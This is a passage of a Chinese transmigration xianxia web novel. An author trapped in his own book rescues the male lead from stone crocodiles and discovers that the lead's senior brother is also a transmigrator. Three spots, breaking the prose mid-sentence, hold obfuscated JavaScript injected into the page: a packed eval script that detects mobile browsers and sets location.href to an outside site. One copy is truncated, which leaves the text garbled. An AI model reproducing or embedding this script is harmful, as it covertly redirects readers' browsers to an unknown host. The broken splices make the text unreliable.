按照原剧情,谢负尘应该是在今年春天的试训中打脸了宁玉缺“从不收徒弟”的豪言,被无阙剑收入门下。 但眼下已经到了年底,黄花菜凉得不能再凉了,要想让谢负尘重获“无阙剑大弟子”的称号,只能等三年后的下一次试训。 沈轻随不是没有想过厚着脸皮硬让宁玉缺开个后门,但男主在人间蹉跎这么久,书也许读了不少,武力值肯定是不够看的——原来的挂逼男主都是在外门扑腾了一年才爬上来的,现在这个主角光环摇摇欲坠的小可怜就更不要说了。 远远盯着谢负尘在外门领了玉牌和弟子服后,沈轻随啃着人一口没动过的糖葫芦慢慢游荡回自家根据地。 路过一片小瀑布,闻得香风阵阵,原来是几个绿衣小仙娥手里拿着花篮,正在投喂水中的鱼儿。 池中的锦鲤是药阁饲养的灵宠,最小只有巴掌大,最大可到三丈长,食花草为生,没什么攻击性,是非常受门中仙子们欢迎的坐骑。 沈轻随看得有趣,在路边拾了一朵小野花,“咻”地弹了过去。一条格外灵活的小鱼跳水而出,哇呜一口咬住了,然后就在空中划出一条完美的弧线,扑通一声落在了沈轻随的掌心。 仙娥们这才发现身后不知何时多了一个人。 沈轻随拎起小鱼的尾巴晃了晃,笑道:“姐姐们好,可以把这条鱼送给我吗?” 这些少女都是外门弟子,才刚来不久,不认得他是谁,以为是来戏弄她们的登徒子,纷纷横眉:“不给,快还回来!” 沈轻随碰了壁也不觉得尴尬,笑嘻嘻地打了个响指,道:“好吧,那我拿东西换行么?你们看看背后。” 少女们回头,见池中竟零散长出了不少粉嫩嫩的莲花,亭亭而立,随风轻摇。 一仙娥惊讶道:“天哪!我养了好几个月了都没开,你居然……” 沈轻随笑道:“那就莲花归你们,鱼归我咯?” 倒真不是他闲得发慌调戏小姑娘,而是这款锦鲤除了能当坐骑以外,还有一个用处——它不仅水里能游,在泥里也一样来去自如,悄无声息地游到谁家墙角探出个头,什么八卦不手到擒来? 可惜沈轻随的运气好像有点差,淘到的这条鱼十分桀骜不驯,一人一鱼大眼瞪大眼对视半天,除了被喷一脸泡泡外毫无收获。 沈轻随拿刚吃剩的竹签抵在鱼嘴上,威胁道:“胖头鱼你给我听好了,顺从,你有小花吃,反抗,我有烤鱼吃。” 小锦鲤扑腾半天,总算认清了命运,肥唇翕动片刻,摇了摇尾巴。 沈轻随满意地点点头:“算你识相,去吧。” 术阁以修习术法为业,和天地炉演武场那种日常沸反盈天的地方不同,大本营设在一座清幽雅致的青山上,正值人间冬时,山间红梅灼灼,风中盈满淡淡的梅香。 “怀微君”闭关多年,他的老巢衔风居也就一直关着,除了早晚来洒扫庭除的弟子以外,基本无人踏足,十分幽静。 沈轻随吊儿郎当地晃进篱笆门,飞身跳上院里的巨松,找了个舒服的姿势躺下。入目皆是青山隐隐,绿水悠悠,弟子们驱车御剑,穿梭在霭霭云中。 他半阖着眼,两条腿抖得风生水起,手指一勾,挂在篱笆上的葫芦就飞到了手里。一开始以为这是只空葫芦,谁知拿起来竟沉甸甸的,开盖一闻,醇香的酒味登时散了开来。 嚯,吃这么好。 沈轻随欢喜地把葫芦往上一抛,双手枕在脑后,张开嘴,任酒一点一点滴进口中。 他是被一阵寒风冻醒的。 迷瞪着眼回魂时,只见山间灯火如星,万籁俱寂,沈轻随一拍树干正要下树,忽然,一盏碧莹莹的灯从不远处飘了过来。 那盏灯忽明忽暗,忽上忽下,身法诡异,方向却很清晰。 就是奔着衔风居来的! 沈轻随下意识地摒住了呼吸,待鬼灯走到松下时,悄悄丢了个炮仗符下去。 炮仗符,顾名思义,即一旦碰到硬物,就会像点了的鞭炮一样劈里啪啦炸起来的符咒,无火无烟,绿色环保,除了听个热闹以外还兼具一定的照明作用,实乃居家旅行必备之良物! 那鬼冷不丁被炮一炸,吓得肝胆俱裂:“妈呀!!!有鬼啊——” 沈轻随伸着懒腰,打了个大大的哈欠,心说你不就是吗?趁着符光一看,才发现那是一个绿衣小童,因为穿的过于融入环境,他这醉鬼一时没认出来。 无缘无故把一个无辜弟子给吓着了,说起来还真有点愧疚,沈轻随叫了他两声,没成想听在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266327|166588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人家耳朵里更是厉鬼索命,连灯也顾不上了,一溜烟跑得更快,没一会儿就彻底不见了。 沈轻随眨眨眼,把灯捡回来挂在了门口:“走这么急,还想跟你道个歉呢。” 夜来无事,他把衔风居里里外外都探了一圈,翻出一只旧吊锅,上后山掘了两支冬笋,想研究着怎么炒个笋片吃吃。 刚把笋刀成片往锅里下,竹篱笆就吱呀一声被推开了,一个壮硕的汉子风风火火地闯了进来:“沈轻随,可算让我逮到你了!” 案几上的笋片被震得一滑,飞了得有一半,掉地上沾了灰,没法吃了。 沈轻随勉强朝他挤出一个笑容:“嗯?” 来人毫不见外,一屁股坐在他对面,大咧咧地从锅里拈起一片笋嚼了,道:“你死哪里去了?听说你出关了,我到处找你,要不是小童说衔风居闹鬼了让我上来瞧瞧,还真不知道你要躲到什么时候!” 此子身如坦克,势如火枪,突突突一顿喷得沈轻随脑瓜子嗡嗡直响,眼冒金星之际堪堪理清楚了现状。没猜错的话,这位应该就是术阁的总管,怀微君底下的一把手,臧啸春同志了。 见他的爪子还要往锅里伸,沈轻随艰难地道:“别吃,还没熟。” 准确地说,还没开始烧。 因为锅底的火在臧啸春刚坐下的那一刻,就被他来势汹汹的臀风给扇灭了。 臧啸春响亮地“哦”了一声,接着用更响亮的声音把嘴里嚼了一半的笋“呸”了出来。 沈轻随的心彻底死了,拼命克制住想把这货片成五花肉的冲动,不动声色地把酒葫芦藏到了背后。 臧啸春道:“躲闲躲了这么久,你也该负起点责任来了!好歹来书馆转转,看看有没有合适的趁早收个徒弟,万一你哪天暴毙了咱们后继无人该咋办?” 沈轻随:“……” 怀微君和臧啸春当年同为术阁长老的亲传弟子,师父退隐后就由他二人来挑术阁的大梁,怀微君又闭关多年,是以术阁上上下下其实都是由臧啸春来打理的。 老实说臧啸春把师兄踹了自己上位也不是什么难事,可他心眼很死,将长幼尊卑这一套道理奉为圭臬,坚持要等沈轻随回来主持大局,这些年兢兢业业,连遣派弟子洒扫衔风居这种小事都放在心上。 想到这里,沈轻随就一点气也没有了。 人家任劳任怨这么多年,怎么看都有资格发火吧! 别说吐两口痰,咒他几句,就是要把衔风居改成公共茅房,沈轻随也得甩几张炮仗符助助兴,夸他装修品味好! 沈轻随感动地拍了拍臧啸春粗实的肩膀:“师弟所言极是,明天我就来书馆报道。” 术阁的弟子书馆离衔风居不远,转两个山梯的距离而已。一带粉垣被掩映在翠竹之中,花木参差,鸟雀啁啾。 这天一大早,沈轻随就被臧啸春抓过来旁听,半炷香还没到就彻底坐不住了:这些我乱编的法术原来是有典故的吗?是有逻辑的吗?是要熟读并且全文背诵的吗? 臧啸春在台上口若悬河、滔滔不绝,沈轻随在后面如坐针毡、抓耳挠腮。 煎熬的同时也不由得庆幸,还好选了张“怀微君”的皮,白捡一身了不得的功法,好歹不用再过一遍九年制义务教育。 心不在焉地磨了大半个月洋工,这天下午,沈轻随正趴在书案上昏昏欲睡,忽觉脚底有些异样,像有什么东西在顶似的。他被弄得有些痒,踮起脚尖,无意识地在地上碾了碾。 突然想起了什么,沈轻随猛地惊醒。往下一看,一条泥水糊啦的鱼正半死不活地翻着白眼,看上去受创不浅。 赶紧把鱼捧起来抖了抖,问:“他有动作了?” 锦鲤幽怨地看了他一眼,奄奄一息地甩了甩尾巴。 5. 师兄上线 作为一个在原著里疯狂嫉妒男主并不断作死的炮灰,戚迟在谢负尘当外门弟子的这段时间里可谓是战功累累,像什么栽赃陷害,暗下毒手,比比皆是,数不胜数——虽然一次都没有成功过。 然而,现在的戚迟似乎格外消停。 沈轻随大张旗鼓地从外面领了个弟子回来,在披云山庄早就不是秘密,却一直等到今天,戚迟才终于动身,要去见见自己的师弟了。 沈轻随胡乱把锦鲤往案上的笔洗里一塞,飞身出门,依着胖头鱼给的信息来到一个人迹罕至的树林,敛了气息匿进草丛。 林中传来窸窸窣窣的脚步声,不一会儿就钻出了一个身材矮小的黄衣弟子。此人塌腰驼背,尖长脸上嵌着一对黑溜溜的小豆眼,东张西望地沿小路穿梭一阵,拐到了几间破败的道房前。 沈轻随嘴角抽搐——他原著里的戚迟道貌岸然,恶俗同人里的戚迟百媚千娇,无论是哪一个,都跟这埋汰玩意沾不上边吧?! 只见戚迟紧了紧怀里抱着的酒坛,咽了口口水,敲门道:“师弟,是我啊!” 那木门早已朽败,霉斑点点的缝隙里却被簪了零星几朵小花,平白给人一种枯木逢春的感觉。门被人从里面打开,谢负尘眼底盛着淡淡的笑意,唤道:“师兄。” 两人寒暄着进屋,沈轻随三两下蹿上房顶,随便找了个洞往下偷窥。没错。这房子的顶上是有洞的!而且还不少。若不是亲眼所见,他也不敢相信披云山庄居然还有这么穷酸的地方。 不过是男主的话,倒也可以理解。须知,跌宕起伏的故事肯定得配一个命途多舛的主角,大起大落反复弹跳那是基本操作,住个破房子什么的再正常不过了。 底下,二人相对而坐,戚迟哆嗦着手斟了两杯酒,道:“这酒我藏了好久,就等你一起喝呢,你这两年受委屈了……来,我们干一杯!” 谢负尘道:“阿娘不是从来都只许我们喝茶的吗?两年不见,师兄口味竟变了许多。” “啊哈哈哈……是吗?”戚迟抓抓头发,“带都带了,你就尝个味儿看看?” 沈轻随就是眼睛再瞎,也看得出戚迟那一脸心虚——谁家兄弟见面又是眼神飘忽又是双腿打颤的?想都不用想,这酒绝对有问题。 既然穿书者能够篡改剧情,那就意味着男主的主角光环在他面前是无效的,堂堂龙傲天,别真被一杯毒酒干死了吧?沈轻随摸着下巴思忖片刻,悄悄将两人的酒调了个个儿。 如果戚迟是因为意外喝下自己准备的毒酒而死,应该也算是符合原著作死不成反被弄死的剧情了。 毕竟久别重逢,谢负尘不想扫了师兄的兴致,拿起酒盏正要一饮而尽,戚迟却突然打断他道:“等一下!” 他道:“师弟,我这杯先倒的酒味没那么重……你要是喝不惯的话我们就换一下?” 沈轻随:“???” 这是什么扯淡的操作?难道酒里没料,这货真就只是单纯的形容猥琐而已吗?还是说自己刚刚换酒被发现了? 沈轻随还没反应过来,就见两人已经交换酒盏一饮而尽。 ……行吧。沈轻随盯着谢负尘,坐等他脸色发青口吐白沫,想着要怎么不动声色地把戚迟支开再上前救人——他现在对自己“手动挡主角光环”的定位十分清晰,得时刻在谢负尘旁边待命,好保住人家的男主位置。 不多时,屋内果然传来了乒呤哐啷的桌椅倒地声。 沈轻随的下巴差点没掉下来,只见戚迟一双眼睛瞪得比鱼还大,浑身抽搐着倒在谢负尘怀里,呻吟道:“怎么会……这样……” 沈轻随:“……” 真巧,这也是他想问的。 “有人下毒。”谢负尘一看便知,迅速抬手点住他周身经脉,沉声道,“师兄注意调息,我这就带你去药阁。” “等会儿!”戚迟拉住他,“别去药阁,这毒我认得……你去茵茵谷找金石草,生服可解……” 他说一句喘一句,一副要气绝的样子。虽然不知为何如此,但谢负尘对师兄有着本能的信任,闻言分毫不敢耽搁,立马夺门而出,一路狂奔。 沈轻随被搞得一头雾水,正要下去看看这货在玩什么猫腻,却见戚迟往门口张望片刻,确认没人后便颤颤巍巍地坐起身,从袖中摸出一丸丹药吃了,咳嗽两声吐出一口淤血,然后容光焕发地站了起来,没事人一样走了。 ??? 茵茵谷归属药阁,其中遍布奇花异草和毒蛇猛兽,凶险非常,没有得到允许,寻常弟子是不能单独进入的。可是师兄危在旦夕,谢负尘只能硬着头皮,悄悄地跟在一队入谷弟子后面混了进去。 这一队弟子有男有女,腰间都挂着器阁的玉牌。可能是经常宅在家里打铁织布,久而久之对环境的敏感度大大降低,连被人缀上了都不知道。 他们拎着背篓和镰刀,正在外围收集材料,忽听一个清朗的少年声音响起:“各位师兄师姐,你们知道金石草生长在谷中何处吗?” 领头的少女惊道:“哎呀,你是个外门弟子!你怎么进来的?” 队伍中有人道:“金石草是石鳄的伴生草,就在这条路进去的一个泥沼里。不过凭你的修为……还是回去吧,别把小命都送掉了。” 来都来了,岂有临阵脱逃的道理? 谢负尘向他们道过谢,捏紧了方才在路上折的竹枝,径自向谷中走去。 少女把手中的小金篓往外一推,急道:“哎呀,他连把佩剑都没有,一个人去也太危险了,你们先走吧,我跟去看看!” 茵茵谷中草木繁茂,遮天蔽日,路边枝杈犹如鬼魅,寂静森然。 谢负尘用竹枝探路,一步一步往里面走,慢慢地,脚下的土变得湿软起来——想来已经离泥沼不远了。 就在他屏息凝神,要进一步深入的时候,身后突然传来一阵急促的脚步声。 谢负尘下意识拎起竹枝往后一刺。 “啊!”少女跌坐在地,胸口的金锁自动撑起法阵护主,一时间光芒大盛。 谢负尘被这光刺得睁不开眼,竹枝也被削断了半截。 少女慌忙爬起来,道:“对不起对不起,我是想来帮你……” “……没关系。”谢负尘默默地把断掉的那截竹子捡了起来,塞回袖中,继续往前。刚刚谷中被短暂照亮了一瞬,他已经看见泥沼的位置了。 “哎呀,等等我!”少女追上他,“你生气了吗,我赔你一把剑好不好?” 谢负尘无心攀谈,漠然道:“不用了。” 少女自顾自道:“我是器阁的武寅月,你叫什么名字呀?要是嫌麻烦的话我改天给你送过去也……”没等她说完,谢负尘就凌厉地看了她一眼,压低声音道:“别说话。” 武寅月猛地捂住了嘴,点点头。 不知不觉,他们已经到了茵茵谷深处,一大片褐沉沉的沼泽横在路的尽头,似乎有兽类呜咽的声音藏在其中。 沼中零落着数块巨石,金石草身纤体长,生在上面散着浅浅的亮光。谢负尘丢了两块石头入沼,瞬间就被腐蚀得一干二净。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266328|166588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >看来直接淌过去拿是行不通的。 武寅月看他动作,有样学样,也想捡两块丢下去,对着地上沾满绿苔的石头斟酌了一番……最终摘下自己的一只耳坠子抛了出去。 忽然一声惊呼,她不知怎么又摔在了地上。 谢负尘本不想管她,无意中瞥了一眼,登时爬满了一身冷汗——武寅月坐着的竟然是一条趴在岸边的石鳄,它通体黢黑地隐在浅滩上,叫人根本无法察觉! 那鳄隙开一条金黄的眼缝,带着武寅月往泥沼中间游去,没一会儿又顿住了,把头埋进泥里,左摇右晃起来。 为了不被甩下去,武寅月只能牢牢地抓住鳄鱼的背上的“绿苔石头”。害怕与羞愧一股脑冲了过来,她再也忍不住了,开始放声大哭。 谢负尘尽量让自己保持冷静,找来两根粗大的断枝,打算借力跳过去拽住她,再趁木头被腐蚀干净之前跳回来——他刚刚已经试过了,这个泥沼上面不能飞物,但“走”物却是可以的。 可就在这时候,谢负尘发现了一件更不妙的事情: 泥沼中的“巨石”不约而同地蠕动起来,而且全部都有着一双黄澄澄的眼睛。原来“石鳄的伴生草”是这个意思! 谢负尘瞬间反应过来,朝哭得上气不接下气的武寅月喊道:“这些石鳄应该是食金为生,快把你身上的首饰丢出去,将它们引到岸边来!” 武寅月闻言,忙把身上那些金钗金锁金手镯全都摘了下来,零零总总竟有个七八样,看准位置,丢了一个出去。 石鳄果然顺着方向动了起来。 谢负尘惊道:“往这里扔!” 武寅月还在不住哆嗦,勉强着冲他一笑:“没关系,我先去帮你摘金石草!” 谢负尘:“……” 石鳄们被她手上的香气吸引,纷纷游近。武寅月看见一株金石草正在跟她双向奔赴,激动得忘了害怕:“我马上就要拿到了!还有一点点,一点点……好了!” 她伸手往石鳄背上一拔,把到手的金石草向谢负尘扬了扬,却见谢负尘脸色一变:“小心!” 原来她身后也潜了一条石鳄,正张大嘴巴,要连她拿着首饰的手一起吞了! 武寅月魂飞魄散,“呜哇”一声,手上的东西全飞了出去。 谢负尘不忍直视,看准机会,连踩几条鳄鱼跳到了武寅月身边,把她往背上一抗就往回跳去。还剩最后几步的时候,却见沼中突然生出了两只黄铜大眼,森白的尖牙不偏不倚,正好接在他要下落的地方。他当机立断,右手狠狠一甩,把武寅月掷到了岸上。 武寅月被摔了个眼冒金星,哭道:“哎呀,怎么办!” 谢负尘的左腿直直蹬进了石鳄的喉咙,腐臭的尖牙瞬间刺进腿肉之中,污泥渗进伤口,血腥味在空气中蔓延开来。 “拿金石草去救我师兄戚迟,他在外门弟子谢负尘的房中!……快!”谢负尘咬着牙,每说一个字都牵扯着伤口,到后来几乎是在嘶吼。 武寅月慌乱点头,抹着泪跌跌撞撞地跑走了。 谢负尘双手死死卡着石鳄的利齿,血水与泥水混杂,往他口鼻淹去。身上被污泥覆盖的地方如烧如燎,皮肤似乎被结成了一张硬壳,而后是凿骨钻心的撕裂。 双眸涣散间,身上黏沉的桎梏好像慢慢褪去了,一股淡而清透的雪水气息萦绕过来,似乎有一根冰凉的指尖触上他的唇角,谢负尘浑身一抖,挣扎着挤出一个字来:“疼……” 画面触目惊心,沈轻随吓了一跳,忙抱着怀里的人往衔风居奔去。 6. 嗨穿书货 沈轻随靠在谢负尘的床尾,静静地看着这张让他过分满意的脸。 少年人的骨相日渐明显,鼻高唇薄,眉微微蹙着,乍一看是一张很不好亲近的面孔。其实呢?人家说什么他就信什么。 沈轻随叹了一口气。 他也没想到,就帮着赶一下周围凶物的工夫,男主就战损了,妹子还丢下男主自己跑了。少女你难道不该说出“不我不走要走一起走”这一系列狗血文必备台词,然后迅速晕倒等男主突生神力自救再来救你吗? 沈轻随不明白这个世界是怎么了。 写小说是写小说,让主角多灾多难缺胳膊少腿的没什么大不了——他一向很下得去手。可真正看见谢负尘在鳄嘴中受伤、挣扎、痛苦的时候,他的心又揪得难受。 沈轻随第一次对自己的任务目标产生了动摇。 反正现在又不靠那帮欲求不满的读者吃饭了,还考虑故事跌不跌宕干啥?一定要让主角受虐干啥?把谢负尘捞过来跟他一起在衔风居混吃等死不也挺好的?披云山庄又不是养不起了! 谁知,脑子里刚冒出这个想法,系统就发出了滴滴的警报声。 【建议宿主借助金手指,努力完成任务,修复原有剧情,否则人物“谢负尘”的男主身份将失效!】 沈轻随:“失效了会怎样?” 系统:【若“男主”消失,《绝世修仙传》世界将崩塌。】 沈轻随:“……” 合着男主不黑化大家都得死呗? 随即灵光一闪,沈轻随问道:“我的金手指是能随便换皮肤对吧?” 【嗯哼。】 “我完成任务后是不是要把皮肤还回去,然后回到原来世界?” 【嗯哼。】 “那我走后能把皮肤借给别人穿吗?” 【?】 沈轻随掰着手指叨叨道:“我是说这套皮肤我不用了之后能不能送人啊?怀微君,怪霸气的还,老闭关多可惜啊,怎么说也算是我在这个世界的身后遗产吧,总得找个人来继承继承。” 大概是从来没有人问过这么逆天的问题,系统沉默了,良久才矜持地回了一句: 【嗯哼。】 这就算是答应了,沈轻随放下心来,正胡思乱想着,忽听见床上的人痛苦地哼了一声。 谢负尘身上被沼泽腐蚀的皮肤都抹过了药,一晚上过去,已经差不多恢复原状了,就是小腿上被鳄齿咬穿的那个洞有点麻烦。 石鳄食金,背上孕育金石草这种灵物,牙上则汇聚着毒素。二者相生相克,这毒也只有金石草可解。可惜鳄齿留下的伤不易痊愈,就是把毒解了,也会留下一块淡金色的疤痕。 把谢负尘带回衔风居后,沈轻随去了一趟他的破道房,把武寅月放在那的金石草拿了回来,按照药阁仙子们的吩咐熬成汤药,给他一口一口喂了下去。 可不是沈轻随怜香惜玉不舍得仙子动手,实在是他这衔风居唯一的炊具——那口吊锅,头天晚上刚煮过一些闻起来臭但吃起来香的地球美食,味道十分持久,不太方便见人。 为了怀微君一世英名不毁在一口蠢锅上,沈轻随只能亲自操刀,把金石草片成片炒,啊不,熬了。 谢负尘昏睡了一夜,意识终于渐渐回笼,左腿不自觉地屈起,手僵硬地往伤口探去。 沈轻随啪地在他腿侧甩了一巴掌,将他乱摸的手挡了回去,道:“动什么动?睡好。” 清苦的药味在鼻端缭绕,谢负尘睁开眼睛,只见一道深青色的床帏悬于头顶,床边坐着一个神色困倦的青年,正耷拉着腿,目露不悦地看过来。 与石鳄缠斗的记忆慢慢浮上脑海,谢负尘忙撑起身子:“怀微君!我……” 话还没说完,劈头盖脸又是一巴掌拍来,沈轻随皱眉道:“叫你别动。” 谢负尘不敢忤逆,只好乖乖地躺了回去,眼睛一眨不眨地盯着沈轻随看。 沈轻随当然知道他想说什么,转笔一样转着从他衣袖里摸出来的半截竹枝,打了个哈欠,道:“你师兄已经没事了,不用担心他。” 谢负尘肉眼可见地松了一口气。 沈轻随有些不忍,拿竹枝在他手背上不轻不重地抽了一下,故意道:“才刚入门几天,就敢去茵茵谷玩鳄鱼啦?胆子不小。要不是我刚好路过,看你这条小命还在不在!” 谢负尘瞄了眼自己被裹成粽子的小腿,脸微微一红:“多谢怀微君救命之恩。” 这模样,这台词,很难不让人联想到武侠小说里被英雄救下的美人。 谢负尘?美人?沈轻随成功把自己逗笑了,嘴里又开始跑起马来:“要怎么谢,以身相许吗?” 谢负尘一怔,不说话了。 沈轻随笑了半天,抓着他的手塞回被子里,用祖母般的慈爱给他掖好了被角,道:“你那根破竹竿也就能串串糖葫芦,瞎出什么风头啊?行了,趁着腿残先好好休息两天,别出去乱跑了。” 既然人已经醒了,沈轻随也不便多留,简单交代几句就退了出去。 刚推出篱笆门,就见长长一条山梯尽头,一坨红彤彤圆滚滚的东西正在向他蠕动而来,后面还跟着不少弟子。 还没认清楚那到底是个什么玩意儿,一道气沉丹田的怒吼就贯通了他的双耳。 只见臧啸春踩着一条硬如钢片的兰叶突了过来:“沈轻随,你在外面惹了什么?!” 沈轻随抹掉他喷过来的口水,一脸莫名地举起双手:“花也没惹,草也没惹。师弟明察,我冤枉啊。” 臧啸春怒道:“你自己看看那是什么!” 沈轻随飞身凑近一看,竟然是那条被他遗忘的锦鲤,不知为何膨大了数倍,大眼鼓鼓,肥唇朝天,两片尾鳍立在地上一扭一扭,正如癫似狂地朝山上杀来。 还一边吐泡泡一边用嘶哑的声音念叨着一句话:“怀微君在哪里……我要把他串起来烤了!怀微君在哪里……我要把他串起来烤了!” 沈轻随:“……” 后面跟着的弟子们忍俊不禁,一个个你推我搡,挤眉弄眼。 臧啸春崩溃道:“一大早的,它就这么堂而皇之地在学馆里扑腾来扑腾去,纸啊墨啊到处乱飞,真是伤风败俗!不管是它烤了你还是你烤了它,快点给我解决掉!” 沈轻随伸手把鱼肚子上贴的符咒“情浓吐真言”给揪了下来,叽里咕噜的魔音瞬间消失,他掏掏耳朵,道:“这下清静多了——是哪个小聪明蛋给它贴的?这种级别的符都画得出来,必须奖励!” 个子最高的那个少年站了出来,挠头笑道:“怀微君,是我。我是看它张大嘴巴好像有话要说,所以就贴上试验一下,其实才刚学会啦,嘿嘿。” 沈轻随一拍脑袋:“啊——那个,你叫什么名字来着?” 少年腼腆道:“风天阳。” 沈轻随长长地“哦”了一声,道:“既然已经这么厉害了,看来课是不用听了,就奖励你去天地炉烧一个月火吧。” “谢谢怀微……哎?”风天阳突然反应过来这好像不是什么好事,苦着脸道,“为什么啊?那地方又苦又热,不是打铁就是耍剑的,我能不能换一个奖励啊?” 沈轻随笑道:“这么爱给毓华君当枪使,我们术阁哪里还留得下你?不去天地炉发展发展岂不是浪费了你一片忠心?” 鱼癫疯这种别致的恶趣味,沈轻随一眼就认出是谁的手笔了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266329|166588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如今的器阁之首毓华君,本名东方尧,生于豪富之家,是个被万千宠爱泡大的姑娘,为人护短且霸道,平素最爱些奇技淫巧。如果你在披云山庄看到什么“发疯的锦鲤”“癫狂的雪球”之类的玩意,想都不用想,肯定又是有谁惹到她了。 风天阳一脸懵。 一个扎着葫芦辫的少女抱臂冷笑:“蠢货,你让这头肥鱼满大山喊要烤了怀微君,不会还觉得很光荣吧?” 沈轻随给了她一个赞许的眼神。 “跟小娃子们扯什么瓜皮!”臧啸春瞪了一眼沈轻随,又在弟子们头上一人锤了一记,怒道,“热闹都看够了吧,都给我回去上早课!” 被斥了一通,沈轻随讪讪地把鱼牵回衔风居,拴在了门口的水缸里,而后御剑往天地炉的方向驰去。 天地炉之所以被称为披云一绝,正在于它的炉至纯至净、火至灵至性,能够锻出世间至宝。只要你踏入修仙界,多多少少要搞点自己的法器用。 君不见雅士飞扇能杀千里,美人执伞可御万军。不仅在战斗中事半功倍,哪怕只为了在风月事上更受欢迎,大部分人也愿意配上一个霸气又趁手的法宝。 所以修炼器道的人,往往是很有钱的,披云山庄的器阁就更不要说了,简直是富得油光满面,材料费加工费收到手软。看看昨晚那小丫头就知道了,拿金子喂鱼啊喂鱼!何等魄力! 然而这“大部分人”里面,显然是不包括沈轻随的。他可能是以前穷惯了,逐渐穷出了品质穷出了风采,对于身外之物并不执着,只要有吃有穿有闲有玩,整天布履素衣也没什么大不了的。安贫乐道嘛! 不过沈轻随这回到天地炉可不是来找东方尧麻烦的,他驱剑落下,悄无声息地溜进寄居在器阁篱下的剑阁弟子道房。 没看错,剑阁是没有自己的道房的! 整个剑阁包括“无阙剑”宁玉缺在内,统统是穷鬼,连房子都造不起,只能定期去器阁的天地炉烧火,或者在外游历时带些奇珍异宝回来上交作为道房租金,这才不至于沦落到睡演武场的地步。 小院中,一个贼眉鼠眼的黄衣弟子——难为他,能把金黄色穿成土黄色——在树下的躺椅上睡得正酣。正是戚迟。 这货抛下男主自己拜进了披云山,混了两年到内门后就开始一路划水,练剑是腰酸的,干活是腿疼的,现在被毒了一场,更是有理由躲在屋里偷闲了。 沈轻随慢慢走近,还故意把步子放重了些。谁知这人五感跟被猪油蒙住了一样,作为一个本该耳聪目明的修士,居然半天过去,一丝不对都没有察觉!甚至还心大地翻身挠背,时不时还要抠抠脚趾,抹抹鼻涕。 “……” 沈轻随自认不是个勤奋的,没想到此人竟比他还高出一个境界,怎么看都不像是会因为“嫉妒”这种世俗的理由而加害男主的吧! 沈轻随打量一阵,见他从头到尾只有脸还勉强算干净,便一只手拎住他的耳朵,把人从躺椅上提了起来。 “哎别别别,痛、痛。”戚迟捂着耳朵起来,见来人居然是跟他八竿子打不上边的沈轻随,马屁比惊讶蹦得更快,“啊哟,怀微君,是您啊,您怎么来了?您先歇着坐一会儿,我去给您泡茶啊!” 沈轻随嘴角抽搐地把他拎了回来,开门见山道:“你有没有听说过一本书。” 戚迟谄媚道:“您要找什么书?是武林秘籍还是江湖八卦,我都可以帮您……” 沈轻随道:“《绝世修仙传》。” 戚迟:“……” 沈轻随眼睁睁看着他的笑容僵在脸上,呆了很久瞳孔才重新聚焦,口中愣愣地吐出两个字:“……我操。” 得,看这反应,是穿书货没跑了。 7. 谈判成功 在这里能碰见地球同胞——虽然看上去不很聪明、有点邋遢、懒得要死、善恶存疑,但沈轻随其实还是挺开心的,怎么说也算是老乡,多少有点共同语言。 他拍拍戚迟的肩,微笑道:“不要惊讶,如你所见,我也是。” 戚迟的鼻子抖了抖,然后一拳捶在了沈轻随的胸口,嘴里“兄弟”“亲人”地一通乱喊,泪流满面:“我还以为这世界上只有我一个人这么倒霉呢,没想到你也是啊!你知道吗我真是手贱啊我他妈看这本脑残书……” 沈轻随惭愧道:“兄弟轻点喷,实不相瞒,这本脑残书的作者正是在下。” “……” 戚迟:“我操了,你就是那个傻逼作者?!” 沈轻随:“……倒也不用骂得这么脏?” 戚迟咳了两声,苦涩地道:“行吧,这事也怨不上你,要怪就怪我自己,非要在过马路的时候看小说,也不知道撞我那人赔钱了没有。” 沈轻随点头赞同,道:“如果在人行横道上的话应该是赔了的——你为什么要骗男主去茵茵谷送死?” 戚迟瞬间把两只手捂在胸前:“呔,你怎么知道!”随即一抹眼泪,哭道:“沈兄你看我这么淳朴老实,像是那种心狠手辣的人吗,做这一切,其实都是有苦衷的啊!” 沈轻随抱着手臂看他:“哦,说来听听。” 戚迟道:“我是真不想害他,但是没办法,系统一定要我助攻男主黑化什么的,你想原著他是怎么黑化的?不就是被从小一起长大的师兄背叛了才黑化的吗!你看你把他写的那叫一个吊炸天,我哪敢动他!就寻思着把他丢了总行吧,结果你猜怎么着?嘿,他不知道怎么的又找来了,阴魂不散呐!” 沈轻随心说难道这人已经懒到大门都不出了吗,怎么听上去好像不知道是他把谢负尘带回来的——这样也好,这样戚迟就不知道自己其实是来跟他对着干的……虽然本来也不是很想对着干。 戚迟往椅上一躺,对天长叹:“我是真冤啊,只是想躺平活命而已,唉——怎么就这么难!” 